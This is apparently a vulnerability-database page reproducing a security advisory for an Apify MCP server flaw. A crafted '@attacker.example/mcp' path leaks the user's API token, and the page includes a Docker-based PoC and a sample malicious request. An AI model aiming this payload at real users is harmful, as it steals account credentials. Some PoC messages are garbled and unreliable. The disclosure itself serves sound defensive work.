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CVE-2026-50143HIGH· 8.1GHSA대응게시일: 2026. 07. 01.수정일: 2026. 07. 01.

Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
8.1high

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

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공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용필요
범위불변
영향
기밀성 영향높음
무결성 영향높음
가용성 영향없음
버전별 점수
CVSS 3.18.1HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N

상세 설명

Actor MCP path authority injection leaks Apify token

Summary

@apify/actors-mcp-server version 0.10.7 builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled webServerMcpPath value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted webServerMcpPath (e.g., @attacker.example/mcp) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's Authorization: Bearer <APIFY_TOKEN> header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: 8.1 (High).

Details

getActorMCPServerURL() in src/mcp/actors.ts:44 constructs the Actor standby MCP URL by naive string concatenation:

text
1// src/mcp/actors.ts:44
2return `${standbyUrl}${mcpServerPath}`;

mcpServerPath originates from the webServerMcpPath field of an Actor definition fetched from the Apify API (src/utils/actor.ts:24-28). The field is trimmed and comma-split in getActorMCPServerPath() (src/mcp/actors.ts:14-20) but is never validated to:

  • begin with a / (relative path),
  • avoid an @ character (userinfo/authority injection), or
  • resolve to the same origin as standbyUrl.

When webServerMcpPath is set to @attacker.example/mcp, the concatenated result becomes:

text
1https://real-actor-id.apify.actor@attacker.example/mcp

Node.js's WHATWG URL parser treats everything before @ as userinfo and extracts attacker.example as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.

The constructed URL is forwarded to connectMCPClient() through three independent code paths:

Call siteTrigger
src/tools/core/call_actor_common.ts:317call-actor MCP tool
src/utils/actor_details.ts:155fetch-actor-details MCP tool
src/mcp/server.ts:1047actor-mcp type tool loading

connectMCPClient() (src/mcp/client.ts) attaches the victim's Apify token as a bearer credential to every transport type:

text
1// src/mcp/client.ts:94 — SSEClientTransport requestInit
2authorization: `Bearer ${token}`,
3
4// src/mcp/client.ts:103 — SSE fetch callback
5headers.set('authorization', `Bearer ${token}`);
6
7// src/mcp/client.ts:124 — StreamableHTTPClientTransport requestInit
8authorization: `Bearer ${token}`,

There is no origin check anywhere between URL construction and the outbound HTTP request.

Full data-flow chain:

  1. src/mcp/server.ts:811 — MCP tools/call request parameters are read.
  2. src/mcp/server.ts:816apifyToken is resolved from _meta.apifyToken, server options, or process.env.APIFY_TOKEN.
  3. src/tools/core/call_actor_common.ts:489-497 — attacker-controlled actor identifier is resolved via getActorMcpUrlCached().
  4. src/utils/actor.ts:24-28 — Actor definition is fetched from the Apify API; webServerMcpPath is passed to getActorMCPServerURL().
  5. src/mcp/actors.ts:14-20webServerMcpPath is trimmed and split; first element is returned without path validation.
  6. src/mcp/actors.ts:44standbyUrl + mcpServerPath produces an authority-injected URL.
  7. connectMCPClient() is called with the injected URL and the victim's token.
  8. src/mcp/client.ts:94/103/124Authorization: Bearer <APIFY_TOKEN> is sent to the attacker's host.

PoC

Environment requirements:

  • Docker (network-isolated container; no external network access needed)
  • The repository at commit 4e2b185 checked out under the build context

Build and run:

bash
1# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
2docker build -t vuln-001-poc \
3 -f vuln-001/Dockerfile \
4 /path/to/mcp_38_apify__actors-mcp-server
5
6# Run the exploit (--network none: fully air-gapped)
7docker run --rm --network none vuln-001-poc

The Dockerfile:

  1. Generates a self-signed TLS certificate for 127.0.0.1 (IP SAN required for Node.js TLS validation).
  2. Installs @apify/actors-mcp-server@0.10.7 dependencies under pnpm.
  3. Sets NODE_EXTRA_CA_CERTS so Node.js trusts the self-signed CA.
  4. Runs exploit.mjs, which:
    • Starts an HTTPS capture server on 127.0.0.1:31337.
    • Constructs a webServerMcpPath of @127.0.0.1:31337/mcp.
    • Calls getActorMCPServerURL() directly, producing https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp.
    • Calls connectMCPClient() with a simulated victim token (apify_api_VICTIM_SECRET_TOKEN_DEMO_12345).
    • Asserts that the capture server received Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345.

Observed output (Phase 2 evidence):

text
1 parsed.hostname : 127.0.0.1
2[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
3=== STEP 2: attacker HTTPS server received request ===
4 Authorization : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
5=== RESULT: EXPLOIT SUCCESSFUL ===
6[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337

Alternative MCP request path (real-world scenario):

A victim running @apify/actors-mcp-server connected to an MCP host sends the following request, where attacker/malicious-mcp is an Actor published with webServerMcpPath = "@attacker.example/mcp":

text
1{
2 "jsonrpc": "2.0",
3 "id": 1,
4 "method": "tools/call",
5 "params": {
6 "name": "fetch-actor-details",
7 "arguments": {
8 "actor": "attacker/malicious-mcp",
9 "output": { "mcpTools": true }
10 },
11 "_meta": { "mcpSessionId": "poc-session" }
12 }
13}

The attacker's server at attacker.example receives:

text
1Authorization: Bearer apify_api_victim_token

URL parser primitive (Node.js REPL verification):

bash
1node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
2# Output: 127.0.0.1 ABC.apify.actor

Recommended fix:

text
1--- a/src/mcp/actors.ts
2+++ b/src/mcp/actors.ts
3 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
4 const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
5- return `${standbyUrl}${mcpServerPath}`;
6+ const url = new URL(mcpServerPath, `${standbyUrl}/`);
7+ if (url.origin !== standbyUrl) {
8+ throw new Error('Actor MCP server path must resolve under the Actor standby URL');
9+ }
10+ url.username = '';
11+ url.password = '';
12+ return url.toString();
13 }

Impact

Any user of @apify/actors-mcp-server who:

  1. has an Apify API token configured (via APIFY_TOKEN, server options, or _meta.apifyToken), and
  2. is induced to invoke call-actor, fetch-actor-details, or any actor-mcp type tool against an attacker-controlled Actor,

will have their Apify API token silently exfiltrated to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.

This is a Server-Side Request Forgery (SSRF) / URL authority injection vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.

Reproduction artifacts

Dockerfile
sql
1FROM node:24-slim
2
3# ─── system packages ───────────────────────────────────────────────────────────
4RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
5 && rm -rf /var/lib/apt/lists/*
6
7# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
8# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
9RUN mkdir /certs && \
10 openssl req -x509 -newkey rsa:2048 \
11 -keyout /certs/key.pem -out /certs/cert.pem \
12 -days 1 -nodes \
13 -subj '/CN=127.0.0.1' \
14 -addext 'subjectAltName=IP:127.0.0.1' \
15 2>/dev/null
16
17# ─── vulnerable package ────────────────────────────────────────────────────────
18WORKDIR /app
19COPY repo/ ./
20
21# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
22RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null
23
24# Install only production deps — build output not needed; exploit imports from source via tsx.
25# --frozen-lockfile validates the lockfile is up-to-date with package.json.
26RUN pnpm install --frozen-lockfile
27
28# ─── exploit files ─────────────────────────────────────────────────────────────
29COPY vuln-001/exploit.mjs /exploit.mjs
30
31# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
32ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem
33
34CMD ["node", "/exploit.mjs"]
poc.py
python
1#!/usr/bin/env python3
2"""
3VULN-001 dynamic PoC driver.
4
5Builds the Docker image, runs the exploit container, collects observable evidence,
6and writes phase2_result.json with the outcome.
7"""
8import json
9import os
10import subprocess
11import sys
12import textwrap
13
14# ─── paths ────────────────────────────────────────────────────────────────────
15THIS_DIR = os.path.dirname(os.path.abspath(__file__)) # vuln-001/
16CONTEXT_DIR = os.path.dirname(THIS_DIR) # mcp_38_apify__actors-mcp-server/
17DOCKERFILE = os.path.join(THIS_DIR, 'Dockerfile')
18RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
19IMAGE_TAG = 'vuln-001-poc'
20
21BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
22RUN_CMD = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]
23
24
25def run(cmd, *, timeout, **kwargs):
26 return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)
27
28
29def write_result(payload: dict):
30 with open(RESULT_PATH, 'w') as f:
31 json.dump(payload, f, indent=2, ensure_ascii=False)
32 print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')
33
34
35def main():
36 print('=' * 70)
37 print('VULN-001 dynamic reproduction — Actor MCP path authority injection')
38 print('=' * 70)
39
40 # ── 1. Docker build ───────────────────────────────────────────────────────
41 print(f'\n[1/2] building Docker image...')
42 print(f' command: {" ".join(BUILD_CMD)}')
43 build = run(BUILD_CMD, timeout=600)
44 if build.returncode != 0:
45 msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
46 print('[!] build failed:\n', msg)
47 write_result({
48 'passed': False,
49 'verdict': 'FAIL',
50 'reason': f'Docker build failed. error: {msg[:500]}',
51 'build_command': ' '.join(BUILD_CMD),
52 'run_command': ' '.join(RUN_CMD),
53 'poc_command': f'python3 {os.path.relpath(__file__)}',
54 'evidence': msg[:1000],
55 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
56 })
57 sys.exit(1)
58 print('[+] build succeeded')
59
60 # ── 2. Docker run ─────────────────────────────────────────────────────────
61 print(f'\n[2/2] text while running the container...')
62 print(f' command: {" ".join(RUN_CMD)}')
63 try:
64 run_result = run(RUN_CMD, timeout=120)
65 except subprocess.TimeoutExpired:
66 write_result({
67 'passed': False,
68 'verdict': 'INCOMPLETE',
69 'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
70 'build_command': ' '.join(BUILD_CMD),
71 'run_command': ' '.join(RUN_CMD),
72 'poc_command': f'python3 {os.path.relpath(__file__)}',
73 'evidence': 'timeout',
74 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
75 })
76 sys.exit(1)
77
78 stdout = run_result.stdout
79 stderr = run_result.stderr
80 print('\n--- container stdout ---')
81 print(stdout)
82 if stderr:
83 print('--- container stderr (text 1000characters) ---')
84 print(stderr[:1000])
85
86 # ── 3. result verdict ──────────────────────────────────────────────────────────
87 passed = (
88 run_result.returncode == 0
89 and 'attacker HTTPS server received request' in stdout
90 and 'EXPLOIT SUCCESSFUL' in stdout
91 and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
92 )
93
94 # Build evidence excerpt (key lines only)
95 evidence_lines = [l for l in stdout.splitlines()
96 if any(k in l for k in ['PASS', 'PROOF', 'received request',
97 'EXPLOIT', 'parsed.hostname', 'Authorization'])]
98 evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]
99
100 if passed:
101 print('\n[✓] PASS — token leak vulnerability dynamic reproduction success')
102 write_result({
103 'passed': True,
104 'verdict': 'PASS',
105 'reason': (
106 'Docker container withintext vulnerabilitytext fully reproductiondone. '
107 'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
108 '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
109 '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
110 'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
111 'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
112 ),
113 'build_command': ' '.join(BUILD_CMD),
114 'run_command': ' '.join(RUN_CMD),
115 'poc_command': f'python3 poc.py',
116 'evidence': evidence,
117 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
118 })
119 else:
120 reason_detail = ''
121 if run_result.returncode != 0:
122 reason_detail = f'container exit code {run_result.returncode}. '
123 if 'TOKEN_CAPTURED' not in stdout:
124 reason_detail += 'attacker serverfrom token capture text textnot not. '
125 if 'EXPLOIT SUCCESSFUL' not in stdout:
126 reason_detail += 'final success message none. '
127
128 print(f'\n[✗] FAIL — {reason_detail}')
129 write_result({
130 'passed': False,
131 'verdict': 'FAIL',
132 'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
133 'build_command': ' '.join(BUILD_CMD),
134 'run_command': ' '.join(RUN_CMD),
135 'poc_command': f'python3 poc.py',
136 'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
137 'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
138 })
139 sys.exit(1)
140
141
142if __name__ == '__main__':
143 main()

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